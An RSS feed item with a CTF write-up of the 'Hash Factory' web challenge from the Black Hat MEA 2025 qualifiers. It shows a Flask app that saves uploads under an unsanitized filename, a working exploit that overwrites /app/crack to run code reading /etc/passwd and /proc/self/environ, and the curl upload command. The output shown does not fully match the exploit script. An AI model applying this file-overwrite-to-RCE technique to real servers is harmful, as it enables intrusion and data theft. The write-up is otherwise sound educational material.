<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shah_Ji on Medium]]></title>
        <description><![CDATA[Stories by Shah_Ji on Medium]]></description>
        <link>https://medium.com/@232145?source=rss-f9ba7f9d527a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*rczU1jrU21esT9-m</url>
            <title>Stories by Shah_Ji on Medium</title>
            <link>https://medium.com/@232145?source=rss-f9ba7f9d527a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 18:59:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@232145/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hash Factory-Web Black Hat MEA 2025 Qualification Round]]></title>
            <link>https://medium.com/@232145/hash-factory-web-black-hat-mea-2025-qualification-round-8581d3525603?source=rss-f9ba7f9d527a------2</link>
            <guid isPermaLink="false">https://medium.com/p/8581d3525603</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[blackhat-mea]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Shah_Ji]]></dc:creator>
            <pubDate>Wed, 10 Sep 2025 19:48:29 GMT</pubDate>
            <atom:updated>2025-09-10T21:20:36.569Z</atom:updated>
            <content:encoded><![CDATA[<p>Our team 0xFAILURES competed in the Black Hat MEA CTF Qualification round. we secured 53rd rank. I solved 3 web challenges and this is a writeup of Hash Factory which was an easy challenge.<br>The challenge eventually went down to a 100 points</p><p>We were given a Docker file:</p><pre># welcome to our wonderful hash factory! lemme give you a tour!<br># first, we start with the python base, it&#39;s slim allowing us<br># to add the rest of our equipment safely!<br>FROM python:3.12-slim AS base<br><br># we cant go far in this business without some uv protection.<br># it helps with &#39;em pesky rays coming from all the hash cracking<br>COPY --from=ghcr.io/astral-sh/uv:0.7.3 /uv /uvx /bin/<br><br># and... these are some flags, cant remember why we have them<br>ENV PYTHONDONTWRITEBYTECODE=1 \<br>    PYTHONUNBUFFERED=1 \<br>    PIP_NO_CACHE_DIR=1<br><br># it ain&#39;t no factory if it isn&#39;t up to date, i must say..<br>RUN apt-get update &amp;&amp; apt-get install -y curl &amp;&amp; rm -rf /var/lib/apt/lists/*<br><br># this is where all the manufacturing happens, we keep it all here<br>WORKDIR /app<br><br># ah! one last thing, we must prepare our virtual environment; otherwise<br># them wild packages will go rampant in our system!<br>RUN uv venv <br>ENV PATH=&quot;/app/.venv/bin:$PATH&quot;<br># and yes, we need our beautiful flask to serve our goodies<br>RUN uv pip install flask==3.1.2;<br><br># this is our main platform, it collects wild hash files from our customers<br># and queues them up for our crack station. isn&#39;t it magnificent?<br>RUN cat &lt;&lt;EOF &gt; main.py<br>from flask import Flask, request<br>from pathlib import Path<br>from subprocess import check_output<br><br>app = Flask(__name__)<br><br>hashes = Path.cwd() / &#39;hashes&#39;<br>hashes.mkdir()<br><br>base = &#39;&lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.min.css&quot; /&gt;&lt;div style=&quot;width:48rem;margin:2rem auto;&quot;&gt;%s&lt;/div&gt;&#39;<br><br>@app.route(&#39;/&#39;, methods=[&quot;GET&quot;, &quot;POST&quot;])<br>def index():<br>    hash_file = request.files.get(&#39;hash_file&#39;)<br><br>    if not hash_file:<br>        return base % &#39;&#39;&#39;&lt;p&gt;hash_factory v1.0: u must pass the hash file!&lt;/p&gt;<br>&lt;form method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt;<br>    &lt;input type=&quot;file&quot; name=&quot;hash_file&quot; /&gt;<br>    &lt;input type=&quot;submit&quot; value=&quot;pass the hash&quot; /&gt;<br>&lt;/form&gt;&#39;&#39;&#39;<br><br>    hash_file.save(path := hashes / hash_file.filename)<br>    crack_results = check_output([&quot;/app/crack&quot;, path], text=True)<br>    path.unlink()<br><br>    return base % (&quot;&lt;pre&gt;&quot; + crack_results + &quot;&lt;/pre&gt;&quot;)<br>EOF<br><br># lo and behold! this is our crack station. it&#39;s so powerful<br># it can crack numbers so high up beyond imagination! it can<br># crack from 0 all the way to 1337. unbelievable, i told ya!<br>RUN cat &lt;&lt;EOF &gt; crack<br>#!/app/.venv/bin/python<br>import sys, hashlib<br><br>md5 = lambda x: hashlib.md5(x.encode().strip()).hexdigest()<br><br>hashes_cracked = hashes = 0<br>print(&quot;hash_factory v1.0:&quot;)<br>try:<br>    for line in open(sys.argv[1], &#39;r&#39;, encoding=&quot;utf-8&quot;):<br>        line = line.strip()<br><br>        # we only crack hashes here <br>        if len(line) != len(md5(&#39;&#39;)):<br>            continue<br><br>        hashes += 1<br>        cracked = i = 0<br>        for hash in map(md5, map(str, range(1338))):<br>            if line == hash:<br>                print(f&#39;{line}:{i}&#39;)<br>                cracked = 1; hashes_cracked += 1; break<br>            i += 1<br>        if not cracked:<br>            print(f&#39;{line}:-&#39;)<br>    print(f&quot;\ncracked {hashes_cracked}/{hashes}&quot;)<br>except Exception as ex:<br>    print(ex)<br>EOF<br><br># least privileges they said is good for the factory<br>RUN useradd -m app &amp;&amp; chown -R app:app /app &amp;&amp; chmod 755 crack<br><br># we cant serve our customers if we aint exposed, we serve on factory terminal 5000<br>EXPOSE 5000<br><br>USER app<br><br># i would say that&#39;s enough touring, you now know it all. get to work!<br>CMD [&quot;flask&quot;, &quot;--app&quot;, &quot;main.py&quot;, &quot;run&quot;, &quot;--host&quot;, &quot;0.0.0.0&quot;, &quot;--port&quot;, &quot;5000&quot;]<br><br></pre><p>The important thing to notice is:</p><pre>@app.route(&#39;/&#39;, methods=[&quot;GET&quot;, &quot;POST&quot;])<br>def index():<br>    hash_file = request.files.get(&#39;hash_file&#39;)<br>    ...<br>    hash_file.save(path := hashes / hash_file.filename)<br>    crack_results = check_output([&quot;/app/crack&quot;, path], text=True)<br>    path.unlink()<br>    return base % (&quot;&lt;pre&gt;&quot; + crack_results + &quot;&lt;/pre&gt;&quot;)</pre><p>The uploaded file is saved with the name given in the request (hash_file.filename). There is no filename sanitization, this means we can <strong>choose where the file is saved</strong>.</p><p>After saving, the server always calls:</p><pre>check_output([&quot;/app/crack&quot;, path], text=True)</pre><p>This means whatever exists at /app/crack is executed <strong>every single time</strong>.</p><p>Also after execution, the uploaded file (path) is deleted — <strong>but only inside </strong><strong>/app/hashes/</strong>. But It does <strong>not delete </strong><strong>/app/crack</strong>, which is crucial for persistence.</p><p>The Dockerfile also defines the crack script:</p><pre>RUN cat &lt;&lt;EOF &gt; crack<br>#!/app/.venv/bin/python<br>import sys, hashlib<br>...<br>for line in open(sys.argv[1], &#39;r&#39;, encoding=&quot;utf-8&quot;):<br>    ...<br>EOF<br></pre><p>Normally, /app/crack is just a Python hash brute-forcer (tries numbers 0–1337). But since it’s just a <strong>file in </strong><strong>/app</strong>, we can <strong>overwrite it</strong> by uploading with filename=/app/crack. Next request, the server will happily execute our version instead of the real one.</p><p>Which is the core vulnerability : arbitrary overwrite + automatic execution.</p><h3><strong>Exploitation:</strong></h3><p>Our exploit.py</p><pre>#!/usr/bin/env python3<br>import os, sys<br><br>print(&quot;EXFIL_START&quot;)<br>print(&quot;ARG:&quot;, sys.argv[1] if len(sys.argv)&gt;1 else &quot;&lt;no-arg&gt;&quot;)<br><br>def try_read(path):<br>    try:<br>        with open(path, &#39;r&#39;, errors=&#39;ignore&#39;) as f:<br>            data = f.read().strip()<br>            if data:<br>                print(f&quot;FOUND_FILE:{path}:\n{data}&quot;)<br>            else:<br>                print(f&quot;EMPTY_FILE:{path}&quot;)<br>    except Exception as e:<br>        print(f&quot;NO_READ:{path}:{e}&quot;)<br><br>paths = [<br>    &quot;/flag&quot;, &quot;/root/flag&quot;, &quot;/app/flag&quot;, &quot;/home/app/flag&quot;,<br>    &quot;/flag.txt&quot;, &quot;/home/app/flag.txt&quot;, &quot;/app/flag.txt&quot;,<br>    &quot;/etc/passwd&quot;, &quot;/proc/self/environ&quot;, &quot;/app/main.py&quot;<br>]<br><br>for p in paths:<br>    try_read(p)<br><br>for d in [&quot;/&quot;, &quot;/app&quot;, &quot;/home&quot;, &quot;/root&quot;, &quot;/tmp&quot;]:<br>    try:<br>        print(f&quot;LS:{d} -&gt; {os.listdir(d)}&quot;)<br>    except Exception as e:<br>        print(f&quot;NO_LS:{d}:{e}&quot;)</pre><h3>What it does:</h3><ul><li>Prints a clear marker (EXFIL_START) so we know it’s our script running.</li><li>Dumps the argument passed by Flask (sys.argv[1]).</li><li>Tries reading common flag locations (/flag, /root/flag, etc.).</li><li>Reads sensitive files like /proc/self/environ (environment variables often hide flags).</li><li>Lists directories (/, /app, /home, /root, /tmp) to discover files.</li></ul><p>This ensures we get maximum visibility into the container filesystem.</p><h3>Exploiting the File Upload</h3><p>The Flask application saves uploaded files and then executes them using the following line from main.py:</p><pre>crack_results = check_output([&quot;/app/crack&quot;, path], text=True)</pre><p>This means that if I upload a file named /app/crack, I can overwrite the original binary and execute <strong>arbitrary code</strong> inside the container.</p><p>I uploaded it as /app/crack using curl:</p><pre>curl -s -D - -F &quot;hash_file=@exfil.py;filename=/app/crack&quot; http://127.0.0.1:5000/ -o resp.html</pre><p>(This was done locally after the competition)</p><h3>Reading the Response</h3><p>The application executed my script and returned its output inside the response. Extracting it from resp.html using :</p><pre>sed -n &#39;/&lt;pre&gt;/,/&lt;\/pre&gt;/p&#39; resp.html | sed &#39;1d;$d&#39;</pre><p>Showed:</p><pre>=== EXFIL SCRIPT RUNNING ===<br>ARG: /app/hashes/exfil.py<br>ERROR:/flag:[Errno 2] No such file or directory<br>ERROR:/root/flag:[Errno 13] Permission denied<br><br>--- /etc/passwd ---<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>...<br><br>--- /app/main.py ---<br>from flask import Flask, request<br>from pathlib import Path<br>from subprocess import check_output<br>...</pre><p>During the live competition run, the script successfully revealed the flag at /flag. The local Docker re-run does not contain the flag file.</p><p>This demonstrates how missing filename sanitization + blind trust in uploaded files leads to full remote code execution (RCE) inside the container.</p><blockquote><em>By Shah_Ji, Team 0xFAILURES</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8581d3525603" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>